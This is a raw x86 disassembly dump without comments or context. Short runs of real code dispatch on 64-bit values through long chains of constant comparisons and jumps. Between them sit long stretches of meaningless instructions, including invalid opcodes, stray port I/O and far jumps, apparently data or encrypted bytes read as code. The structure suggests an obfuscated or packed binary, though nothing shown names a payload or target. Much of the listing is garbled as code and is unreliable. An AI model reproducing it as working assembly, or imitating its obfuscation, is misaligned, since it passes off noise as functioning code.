xor eax, 0x1b9c8
or eax, dword [ebp - 0x7c]
je 0x67b059a3
mov edx, 0x1b9c8
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x17a1c
or eax, dword [ebp - 0x7c]
je 0x67b0a02f
mov edx, 0x17a1c
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x5010
or eax, dword [ebp - 0x7c]
je 0x67b09a4e
mov eax, dword [ebp - 0x80]
xor eax, 0x164fa
or eax, dword [ebp - 0x7c]
je 0x67b07ce9
jmp 0x67b0a610
invalid
mov al, 0xe3
dec esp
std
adc eax, 0x92776c5f
ret 0xa2cd
inc edx
scasd eax, dword es:[edi]
pop ds
inc esp
pushal
xchg esi, eax
pushal
or byte [edx - 0x58], ch
cmp byte [edx + 0x5b], ch
or byte [esi + 0x35], bl
add edx, dword [eax - 0x16336ff0]
shr dword [ecx], cl
add byte [ebp + 0x4e], bl
pop ebp
dec esi
pop ds
xor dword [edi], esp
push esi
pop esi
lahf
sbb ch, dl
aas
add byte [ecx - 0x45], bl
xchg ebx, eax
shr dword [eax - 0x5896bbcb], cl
cld
add ecx, dword [esi + 0x57]
stosd dword es:[edi], eax
pop esi
imul ebp, dword [ecx - 0x6bf27bc1], 0x9a6c086a
sub al, 0x58
mov bh, 0xab
out 0xce, al
loope 0x67b03c24
in eax, dx
mov eax, fs
lahf
pop esi
pop ecx
int3
dec ebp
lds edx, [ecx + 0x64]
sahf
xchg ebp, eax
out dx, al
xor al, 0xe1
sub eax, 0x1991fd59
or eax, 0xc0f60489
mov edi, 0x9efc755f
retf 0x9db0
invalid
jle 0x67b04266
push ss
in eax, 0x7e
lahf
je 0x67b04263
fcom qword [edx]
into
invalid
imul ebx, dword [edx - 0x4b], 0x6d
dec edi
jns 0x67b041ed
mov edi, 0xe895c8cb
mov al, byte [0x2b4bfeb6]
into
jno 0x67b041cb
insb byte es:[edi], dx
daa
mov ds, word [eax + 0x2a]
push 0x903456f9
into
and eax, 0xc2ea8479
out 0x19, al
mov eax, 0xc1eb496a
sub bl, byte [ebx]
mov bh, 0xc0
push ss
sbb al, 0x13
and al, 0xf1
adc al, 1
sahf
push ds
js 0x67b04238
cmp byte [edx + 0x21fcda9e], ch
inc eax
jnp 0x67b041f5
stc
aad 0x20
ret
or al, 0x76
salc
and edx, edi
xchg ebp, eax
stosd dword es:[edi], eax
imul eax, dword ss:[edx + 0xc], 0x7d
in al, 0xc3
xor ecx, edx
xchg ebp, eax
invalid
xchg esp, eax
jne 0x67b04e19
and byte [esi + edx*8 + 0x7319d802], 0x7c
mov edi, 0x3aabc5a9
mov edx, 0x93274bf5
das
dec ebx
jmp 0x2d28e38f
pop eax
aas
inc ebp
stosb byte es:[edi], al
mov dh, 0xd9
pop es
dec esp
inc edi
xlatb
sub ebp, dword [ebx - 0x57]
mov esi, 0xc6733640
psllw mm4, qword [eax]
xchg esi, eax
mov cl, 0xf2
retf 0x77a7
nop
mov dh, 0x38
into
movsb byte es:[edi], byte [esi]
jp 0x67b053d7
mov ah, 0xea
inc eax
xchg edx, eax
xchg edi, eax
cwde
jmp 0x6cbcb5b2
pop ebx
cmp ecx, dword [eax]
salc
inc ebp
int1
mov byte [ecx], bh
in eax, dx
sbb eax, 0xba18a53
shl byte [ebp - 0x12], 1
mov ecx, 0xc4bb47d5
cmp dl, ch
int3
dec ebx
invalid
dec edx
add eax, 0xebf73d0b
push 0x7d395511
lea edi, [eax + 0xcd1807]
mov eax, dword [0x7e8f867c]
pop ecx
sub al, ch
fstp dword [esi]
and ebp, ecx
cwde
ret
pop ebx
push 0x59
xchg ecx, eax
iretd
jp 0x67b06bc3
stc
jnp 0x67b06b7e
jge 0x67b06b69
daa
or ebx, ecx
push ss
pop esp
or bh, byte [ecx + 0x13]
fsub st(0), st(0)
ficom dword [ebp - 0x38685038]
les esi, [edx - 0x74ec58d2]
jl 0x67b06b68
mov ch, 0xa7
push ss
push esi
pushal
retf 0x3529
mov edx, eax
pop esp
and dword [edi], esp
outsb dx, byte [esi]
pop ebx
push eax
sahf
sti
mov esi, 0xd25d6cd1
cwde
nop
lodsd eax, dword [esi]
in al, 3
jecxz 0x67b06b7c
sal dword [eax + 0x54c7d658], 1
aam 0xf4
cld
mov eax, 0xbd697903
dec edx
xor eax, 0x540fba90
insd dword es:[edi], dx
int 0x90
int3
test byte [edx + 0x20], ch
xor al, 0x22
xchg edx, eax
jge 0x67b06ba6
invalid
outsb dx, byte [esi]
aad 0x49
mov esi, 0xe490ceb6
movsb byte es:[edi], byte [esi]
das
push ebx
cmc
insd dword es:[edi], dx
fimul word [ecx - 0x54]
aas
xor al, 0xe1
ficom dword [ecx]
jnp 0x67b071bb
invalid
xchg esp, eax
cwde
aam 0x27
push ds
jl 0x67b0723f
pop ebx
adc ecx, dword ss:[ecx]
mov bl, 0x29
das
pushal
scasb al, byte es:[edi]
xor eax, 0x77220d56
mov dh, byte [ebp*4 - 0x7435a3cb]
pop eax
test byte [ebp + 0x38], cl
invalid
aaa
ret 0x7193
pop es
fcomp dword [edx + esi*2 - 0x74]
pushfd
bound esi, qword [esi + 0x61]
daa
mov dl, 0x93
call 0x53e1d236
sub byte [eax + 0x27a390cc], dl
popal
pushfd
and al, al
outsb dx, byte [esi]
mov esp, 0x66586a85
sbb al, byte [edx - 0x26]
cmp eax, 0xf6b373b9
add eax, 0x9b012897
int1
lds edx, [eax - 0x2a]
loope 0x67b07260
test esi, ecx
jne 0x67b07295
xchg ecx, eax
test byte [edx + 0x43], bl
retf 0x46cf
or ebx, eax
leave
jnp 0x67b0721a
sbb al, bl
fidiv dword [edi]
popal
mov ebx, 0x69bc2774
shl dword [ecx - 0x4e], 0xf5
mov esp, 0xd74dca01
sub dword [eax + ebx*4], ecx
int3
and eax, dword [0x67db553]
fcomp qword [eax - 0x30]
cmp byte [edi], al
stosd dword es:[edi], eax
pop eax
push ecx
invalid
xchg ecx, eax
and dword [esi + 0x2f], esp
stosd dword es:[edi], eax
adc al, 2
add byte gs:[edx - 0x56], bh
xchg esi, eax
imul eax, dword [ebx - 0x349e4356], 0x71453866
int 0x9e
ret 0x70ee
jl 0x67b07c97
invalid
mov edi, 0x46c10c4b
ret
cmp eax, dword [0xbfe99a4c]
mov bl, bl
rcl dword [ebx]
push esp
pushfd
int 0x79
les eax, [edi]
cmp edi, dword [esi]
cmp al, 0xa3
push ebx
stc
mov bl, 0xe4
or al, 0x93
sahf
sub eax, 0xd74a7fae
mov byte [edx], bh
ja 0x67b08350
jl 0x67b0829a
clc
xor esi, dword [edi]
adc al, 0x38
in al, dx
xor byte [edx - 0x28], dl
test al, 0x15
cmpsb byte [esi], byte es:[edi]
cmp byte [edx - 0x2cd1758b], dh
test dword [ebx + 0x6b], esp
push 0xffffffffffffffc6
dec edi
cmp byte [edi + ebp*8 + 0x42], ch
test byte [ecx + 0x5d5583d7], 0xba
xor eax, 0x6054f27d
stosd dword es:[edi], eax
inc edx
jg 0x67b0837b
inc edx
pop edi
mov esp, 0x5a5a3676
pop eax
iretd
sub ecx, dword [ecx + 0x14]
sub bl, byte [edi + 0x7b]
into
sbb al, 0x3b
mov fs, word [eax + 0x48]
pop esi
sbb dh, byte [edx + 0x28cd3768]
mov dword [edx], ebp
fist word [bp + 0x5d33]
push cs
pop eax
int 0xd3
add dword [edi - 0x7d], ecx
pop ecx
loop 0x67b083b8
ljmp 0xfc70:0xa17c75c2
mov al, 0xbf
inc ebp
loope 0x67b083e8
mov esi, 0x4585ace
mov cl, 0x43
invalid
cmp al, 0x1b
xchg ecx, eax
fist word [ebx - 0x58]
scasd eax, dword es:[edi]
pop ebx
dec edx
sub cl, byte [edx + edx*4 - 0x1aa213e8]
add cl, bl
aas
invalid
push edx
adc dword [esi + 0x703354d2], 0x5257fce
inc ecx
nop
int3
mov word [ebx - 0x5988c4c8], fs
add eax, 0x507cce43
pminub mm7, qword [ebx + ebx*8]
inc esi
stosb byte es:[edi], al
ljmp 0x5c0
popal
adc al, 0x92
in eax, 0xe2
neg byte [edx - 0x50b3738a]
jmp 0xa54c6423
cmc
nop
int3
xchg byte [esi], ch
jecxz 0x67b0940e
jecxz 0x67b0940e
and dword [ecx + 0x52cf591], esi
test byte [edi], bh
inc edi
and eax, 0x38e919d4
cmp dh, byte [edi]
into
mov cl, 0xcd
test ebp, 0xa51f4f78
lds edi, [eax + 0x4f]
pop ds
movsd dword es:[edi], dword [esi]
adc dword [edx + 0x20], esp
adc byte [ebx], al
out 0x57, al
ja 0x67b0940d
fstp dword [eax + 0x6d]
pop eax
insd dword es:[edi], dx
jge 0x67b09486
mov eax, dword [0x5e7a1e40]
jp 0x67b0949b
jg 0x67b09401
sub al, dl
and al, 0xb1
jl 0x67b0943b
dec ebp
mov al, byte [0x3d268373]
bound esi, qword [ecx]
or dh, byte [ebp + 0x1a0006f1]
push esp
sbb esi, dword [esi + 0x29]
push ecx
xchg ecx, eax
pop ebp
jo 0x67b09433
mov ah, 0x7d
dec ecx
loopne 0x67b094ce
or edx, dword [esi + 0xe]
lahf
nop
int3
fcomp qword [ecx + 0x2a]
into
fidivr dword [ebp + 1]
aam 0x51
sub ah, byte [esi - 0x4d45e849]
or eax, 0x2bdefade
sub dl, byte [edx - 0x7b]
int 0x66
xchg esp, eax
xchg dword [esi - 3], eax
pop edx
clc
push si
adc byte [ebx], ah
lodsb al, byte [esi]
lodsb al, byte [esi]
xor al, 0x3d
inc ebx
pop ss
inc dl
jae 0x67b094bd
and al, cl
jp 0x67b09426
enter 0xffffffffffff887a, 0x67
push ss
push ss
out dx, al
xlatb
inc ecx
pop esp
hlt
in al, dx
insb byte es:[edi], dx
stc
cmpsb byte [esi], byte es:[edi]
fsub dword [esp]
mov edi, 0xf0c3e6c8
aad 0xf3
test eax, 0xcc901059
xor al, 0xb2
mul dword [edx + 0x65]
fmul qword [edi]
xchg edi, eax
fcomp qword [ebx + 0x4f]
adc byte [eax - 0x84dcb34], dl
bound esp, qword [ebp - 0x24]
seta ah
pop ebx
dec edi
in eax, dx
add dword [0x44451d41], edx
jb 0x67b0946d
xchg edx, eax
jae 0x67b0955a
cmp ch, byte [edx + 0x49a34b3f]
xchg ebp, eax
wait
mov dh, 0xb3
nop
xor al, 0x13
xchg byte [edx], bh
fst dword [ecx + 0x3a3bcd6e]
dec esp
mov edx, 0x31e0caf3
sub eax, 0x71b05779
sub dword [ebp - 0x2d], edi
and esi, esi
hlt
xor al, 0xe2
mov dword [0xc9f70fd3], eax
adc dword [eax], edx
xor al, 0xcb
repne insb byte es:[edi], dx
mov bl, 6
push es
push 0xfffffffffffffff5
stc
pushal
into
stosb byte es:[edi], al
std
neg dword [ecx + 0x68]
cld
dec ebp
mov esp, 0x4e9cb9aa
loopne 0x67b095e4
xlatb
salc
sub byte [edi], al
test dword [esp + eax*2 - 0xc], eax
jno 0x67b095c4
push ecx
aas
xchg esp, eax
test edi, ecx
inc edx
push ecx
insb byte es:[edi], dx
jp 0x67b09600
dec eax
and eax, 0xa0801126
stosd dword es:[edi], eax
ror byte [ecx], 0x34
jno 0x67b09580
loope 0x67b0954c
bound eax, qword [eax - 0x4427d911]
nop
int3
add ch, byte [eax + 0x15510160]
cmp byte [eax + 0x32], dl
outsb dx, byte [esi]
inc edx
xor ch, byte [esi + 0x42]
cdq
add eax, 0x5c584aa4
pop es
insd dword es:[edi], dx
aad 0xd1
neg byte [edi + 0x49b2de6a]
and al, 0x9d
add byte [ecx + 0x60], 0xaa
stosb byte es:[edi], al
jo 0x67b095cc
loopne 0x67b0964c
mov al, 0xfd
les esp, [ebp + 0x589af366]
int 0x47
mov ebp, 0xfa9b2f6e
and ch, byte [eax + 0x24]
nop
int3
mov dword [ecx - 0x76], ecx
mov edx, 0xa1d9350b
adc dword [ebx - 0x53f83cae], ebx
invalid
je 0x67b09698
cmp esp, ebx
add byte [ecx + 0x72c7b8d8], 0x14
retf 0x2170
aam 0xa9
call 0x97c98964
invalid
sbb dword [ebp + 0x4ff16df5], ebx
dec eax
xlatb
int3
shl dword [ebx], 1
jl 0x67b0a033
into
jmp 0x958db8
mov edx, dword [esi + 0x35f27d7b]
sub esi, dword [eax - 0x2194bd23]
mov esi, 0x213d50d5
mov bh, 0x71
jns 0x67b0a0b3
xor eax, 0xddb02bf2
inc edx
imul ebx, esi, 0xffffffbe
aad 0x50
cmp eax, 0x7971b721
outsb dx, byte [esi]
dec bp
push edi
into
jo 0x67b0a067
cmp al, 0xd1
mov esi, 0x1e8c6e13
stosb byte es:[edi], al
push eax
inc esi
jge 0x67b09fdf
sbb dh, byte [esp + ebx*8 - 0x77]
pop esi
add esp, dword [esi + 0x7b49e80a]
in eax, 0x20
invalid
jnp 0x67b0a083
int3
shr byte [esi + edx*8], cl
invalid
outsb dx, byte [esi]
out dx, al
lahf
test eax, 0xb2e7e309
test al, 0xa2
adc al, dl
call 0x6bff4fd5
dec esi
mov ah, 0xa6
enter 0xffffffffffffbe1c, 0xffffffffffffff85
pop ebx
dec esi
push ds
salc
invalid
nop
jmp 0x67b0a611
nop
add dword [ebp + 0xc], 2
mov dword [ebp - 0x88], 0x4e949
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xa6e70
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x88]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x88]
mul dword [ebp - 0x90]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0x3b3d6df0
mov edx, dword [ebp - 0x94]
xor edx, 0x33
or eax, edx
je 0x67b107c6
mov edx, 0x3b3d6df0
mov eax, 0x33
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0xd9842
or eax, dword [ebp - 0x94]
je 0x67b0c13d
mov edx, 0xd9842
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0xd4646
or eax, dword [ebp - 0x94]
je 0x67b0fc07
mov edx, 0xd4646
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0xc98eb
or eax, dword [ebp - 0x94]
je 0x67b0f045
mov edx, 0xc98eb
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x9be7e
or eax, dword [ebp - 0x94]
je 0x67b0c71e
mov edx, 0x9be7e
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x8c40e
or eax, dword [ebp - 0x94]
je 0x67b0f626
mov edx, 0x8c40e
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x88a85
or eax, dword [ebp - 0x94]
je 0x67b0dea2
mov edx, 0x88a85
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x673b7
or eax, dword [ebp - 0x94]
je 0x67b0a9b9
mov edx, 0x673b7
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x62cb9
or eax, dword [ebp - 0x94]
je 0x67b101e8
mov edx, 0x62cb9
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x61fb3
or eax, dword [ebp - 0x94]
je 0x67b0d8c1
mov edx, 0x61fb3
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x4cfc7
or eax, dword [ebp - 0x94]
je 0x67b0e483
mov edx, 0x4cfc7
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x4510b
or eax, dword [ebp - 0x94]
je 0x67b0ea64
mov edx, 0x4510b
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x3ae40
or eax, dword [ebp - 0x94]
je 0x67b0bb5c
mov edx, 0x3ae40
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x1af42
or eax, dword [ebp - 0x94]
je 0x67b0ccff
mov edx, 0x1af42
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x14ddb
or eax, dword [ebp - 0x94]
je 0x67b0b57b
mov edx, 0x14ddb
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x67b107cc
mov eax, dword [ebp - 0x98]
xor eax, 0x12315
or eax, dword [ebp - 0x94]
je 0x67b0af9a
mov eax, dword [ebp - 0x98]
xor eax, 0x139d6
or eax, dword [ebp - 0x94]
je 0x67b0d2e0
jmp 0x67b107cc
cwde
add edi, ecx
wait
add eax, dword [esi + 0x2b]
push ebp
invalid
mov ebx, 0xef4d0920
insb byte es:[edi], dx
stosb byte es:[edi], al
xor bh, byte [ebp + 0x6f0c668a]
daa
bound ebp, qword [eax]
xor dword [ebx - 0x46], edx
mov ah, 0xe1
jl 0x67b0af56
push ss
call 0x40e99103
mov ah, 0xea
mov ch, 0xf7
test dword [edi - 0x736720fb], 0x5cf3af59
xchg dword [0x598c98df], eax
scasd eax, dword es:[edi]
pop esp
in al, dx
push 0x6f
pop edx
nop
int3
pushfd
stosd dword es:[edi], eax
jnp 0x67b0af34
cmp al, ah
mov eax, dword [0xdf528a21]
invalid
cwde
rol dword [edi + 0xc], cl
xchg ecx, eax
mov eax, 0x2ae96c78
dec ebx
imul ecx, esi, 0xa5021f1c
xchg ebx, eax
int1
mov ecx, 0xde3ea75c
push edx
xor byte [eax], al
nop
int3
ja 0x67b0b4f4
jae 0x67b0b583
inc edx
push ss
adc byte [ecx - 0x1e], dh
sbb byte [ecx - 0x6e4eff10], cl
test al, 0x7c
nop
add byte [ecx - 0x6f83576f], dh
int3
mov dl, 5
stosb byte es:[edi], al
push ebx
lds edx, [edx + 0x69cccce1]
wait
cmp dl, byte [ecx + 0x70dc2df9]
lea eax, [edx]
cmp al, byte [edx - 0x73]
xor dword [edx + 0x451bbd3f], 0x5f07758
mov bl, 0xb1
jecxz 0x67b0b5ad
int3
into
test ecx, eax
inc esp
dec eax
pushal
js 0x67b0b563
loopne 0x67b0b56f
invalid
jo 0x67b0b5f0
out dx, al
pop ds
or al, 0xf3
lahf
out dx, eax
inc ecx
add dl, byte [edx + eax*8 + 0x30]
pop ecx
push cs
pop es
lea esp, [eax + 0x6a]
out 0x68, eax
inc edi
neg dword [edx]
invalid
push 0x2bd9ca07
jl 0x67b0b5a9
ror ebx, 1
push esi
cmp eax, ebx
movsb byte es:[edi], byte ss:[esi]
or esp, dword [esi]
push edi
inc edi
scasd eax, dword es:[edi]
fst qword [eax + 0x7c21a28c]
out 0xd4, eax
rcl byte [eax]
or byte [eax - 0x288b0767], dl
or dword [ecx], esi
dec edi
jecxz 0x67b0b639
adc al, 0x98
pop es
or dl, byte [esi + 0x29182761]
or esi, esi
push ds
dec edi
push ecx
popfd
invalid
inc edx
or ch, byte [eax - 4]
add al, 0xa3
xchg ebx, eax
nop
int3
pop esi
out 0xad, al
je 0x67b0bbd7
add al, 0x52
dec edi
dec esi
sbb edx, dword [ebp + 0x4a]
mov word [esi + ecx*2 - 0x33], ds
or ecx, dword ds:[ecx + 0x21]
sbb byte [edi + 0x2c2fb66c], bl
jge 0x67b0bbd0
imul ebp, dword [eax - 0x2c], 0xffffff8c
in eax, dx
loopne 0x67b0bb68
std
dec esp
salc
adc dword [ebx], ebx
invalid
aad 0xdf
sub dh, byte [ebx + 0x889d6d1]
insb byte es:[edi], dx
fimul dword [ebp - 0x52]
or byte [edx + ebx*8 + 0x4d], ch
scasb al, byte es:[edi]
pop esi
xchg ecx, eax
shr dword [ebx - 0x64], 1
mov dl, byte [edi]
adc eax, 0x9d0f0833
inc esp
fmul qword [eax + 0x75]
movsb byte es:[edi], byte [esi]
xchg esi, eax
out 0xf0, al
insb byte es:[edi], dx
cli
adc al, 0xd9
fbld tbyte [edi + 0xe]
int 0x5f
fisttp qword [eax]
pop ebx
mov byte [edi], dl
xor dl, ch
xchg edi, eax
and ebp, ebp
test dword [eax + 4], ebx
xchg ebx, eax
sbb edi, dword [ebx - 0x41]
sbb eax, 0x71da2eee
and dl, ah
xchg dword [0x19a7c954], ebx
shr dword [edi + 0x53], 1
mov edi, 0xa309da94
jl 0x67b0bc58
nop
int3
or al, 0x8c
aad 0xd5
daa
pop esp
invalid
pop edx
nop
int3
push eax
jne 0x67b0c133
mov bh, 0x5d
jne 0x67b0c0d1
stosb byte es:[edi], al
inc edi
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
inc esp
add al, 0x2d
sbb eax, 0xb7575a82
or ebp, dword [edi - 0x1d91765d]
das
invalid
lahf
retf
or dl, byte [ebp + 0x7d]
adc eax, 0x8ef4806b
pushfd
jbe 0x67b0c0e1
or ah, byte [edx + 0x209e332a]
jno 0x67b0c0e0
pop ebp
scasd eax, dword es:[edi]
adc bl, byte [ebx - 0x3a829f39]
or eax, ebp
push 0x5f
xchg esi, eax
invalid
invalid
xor ecx, ebp
loope 0x67b0c75c
retf 0x9a66
jb 0x67b0c6cc
int 0x8f
sub eax, 0xa2792c0d
pop edi
cmp eax, 0x16561fc9
pop ss
outsd dx, dword [esi]
loope 0x67b0c6cc
mov bl, 0x6d
cdq
add dl, byte [eax]
fadd dword [edx + 0x32]
adc eax, dword [ebx + 0x1d]
test eax, 0x22d33bd8
jl 0x67b0c6f8
and byte [eax + 0x2d9eb97], cl
test ax, 0xc0d
dec ecx
push 0xbcd8a5de
cmpsb byte [esi], byte es:[edi]
xor byte [edx - 0x77a1e352], dh
lcall 0xfdea, 0x5c5bf9c9
fnstcw word [esp + ebp]
aas
into
ret
leave
stc
pop ebx
pop esp
ljmp 0xce3f
je 0x67b0cd1c
mov dword [ebp - 0x211a79a8], edx
push esp
xlatb
in al, dx
int 0x15
push ds
adc eax, 0xb5615117
in eax, 3
and al, 0x22
add esp, dword [edx]
mov cl, 0x98
loopne 0x67b0cd39
sbb al, 0x84
pop edi
add ch, ch
aas
jae 0x67b0cd13
js 0x67b0cd7b
mov cl, 0x16
jmp 0x67b0cd5b
invalid
stosd dword es:[edi], eax
fstp xword [eax + eax]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
nop
int3
jge 0x67b0cda5
and byte [ecx], bl
pop esp
xchg edi, eax
mov al, 0xa0
dec eax
xor byte [edx - 0x24d23cf1], dl
xlatb
or byte [ebx - 0x69], cl
mov bl, 0x47
invalid
bound edi, qword [esi + 0xd8768f]
aam 0xf4
add byte [eax + 0x7d], ah
cld
pop esi
mov byte [0x1066486], al
push ebx
cdq
mov esp, 0x537de7e4
xor edi, ebx
and dword [ebp - 0x24], ebp
pushal
invalid
jb 0x67b0d336
pop ebx
hlt
xchg ecx, eax
sub byte [ebx - 0x31e54247], al
pushfd
dec edx
inc edx
sbb esp, ebx
nop
int3
mov ah, 0xc9
daa
push ebp
dec edi
mov ch, 0xf8
retf 0x4b1c
wait
lcall 0xcc1b, 0xdaa4134a
sub eax, dword [ecx + edx*8 - 0x53]
mov eax, dword [0x6154d8ed]
dec eax
nop
jle 0x67b0df31
jmp 0x58f761a3
lea esi, [edx]
sti
pop ebp
nop
ficomp dword [edx - 0x109a2b9a]
dec ecx
iretd
sbb eax, 0x54f26ff3
add dword [ebx + esi*2], edx
or bh, byte [edi - 0x2f]
pop ebx
out 0xd1, eax
stosd dword es:[edi], eax
int 0x8e
outsb dx, byte [esi]
adc byte [ebx + 0x22], bl
lds edx, [ebx + 0x3d219d5f]
xor al, 0xa6
stosd dword es:[edi], eax
adc dword [eax], 0xda19d9b4
cdq
mov edx, 0xc1ab9745
dec byte es:[eax + 9]
invalid
invalid
xor esi, dword [ebp - 0x4b]
aaa
mov cl, bl
dec edi
jecxz 0x67b0ea14
push cs
int3
adc ebp, ebp
push ds
xor al, bh
cmp byte [esi + 0x72], dl
cmp eax, dword [ebp + 0xc]
inc ebp
cld
or eax, 0xd19e9d5a
ljmp 0x1a80
fcom qword [ebx]
ret
test dh, 0xf3
in al, 0xc6
popal
mov dword [0x4e4f68d8], eax
xchg esp, eax
stc
mov bh, 0x79
push 0xde080e76
and dword [eax - 0xf], esp
loopne 0x67b0f679
pop ss
inc ebx
nop
cli
jnp 0x67b0f5e8
inc edi
mov word [edx], ss
invalid
mov ecx, 0x4d0dcda1
mov al, byte es:[0x3b6c920b]
xchg ebp, eax
cmp dword [edi + ebx*2 - 0x70], ecx
int3
adc al, 0x94
or bl, byte [ecx - 0x44ecffa5]
sbb al, byte [eax - 0x67dab5b1]
wait
adc dword [edi], 0xffffffbc
add esi, dword [edi]
cmp byte [edx], 0xbe
xchg esi, eax
sbb edx, dword [ebx - 0x43990b3e]
fdivr qword [esi - 0x56]
invalid
invalid
nop
jmp 0x67b2f760
nop
jmp 0x67b2f760
nop
mov dword [ebp - 0x120], 0xee2a1
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0xa23bf
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
sub eax, dword [ebp - 0x128]
sbb edx, dword [ebp - 0x124]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0xeb7fc
or eax, dword [ebp - 0x12c]
je 0x67b11df1
mov edx, 0xeb7fc
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xe54f6
or eax, dword [ebp - 0x12c]
je 0x67b1703f
mov edx, 0xe54f6
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xcfd5b
or eax, dword [ebp - 0x12c]
je 0x67b16a5e
mov edx, 0xcfd5b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xc92ca
or eax, dword [ebp - 0x12c]
je 0x67b15e9c
mov edx, 0xc92ca
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xc2e9b
or eax, dword [ebp - 0x12c]
je 0x67b17c01
mov edx, 0xc2e9b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xbf733
or eax, dword [ebp - 0x12c]
je 0x67b14718
mov edx, 0xbf733
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xad99d
or eax, dword [ebp - 0x12c]
je 0x67b152da
mov edx, 0xad99d
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xa57c0
or eax, dword [ebp - 0x12c]
je 0x67b10c4e
mov edx, 0xa57c0
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x884aa
or eax, dword [ebp - 0x12c]
je 0x67b13b56
mov edx, 0x884aa
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x78e44
or eax, dword [ebp - 0x12c]
je 0x67b11810
mov edx, 0x78e44
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x6f538
or eax, dword [ebp - 0x12c]
je 0x67b181e2
mov edx, 0x6f538
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x5f2bc
or eax, dword [ebp - 0x12c]
je 0x67b123d2
mov edx, 0x5f2bc
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x5dadd
or eax, dword [ebp - 0x12c]
je 0x67b17620
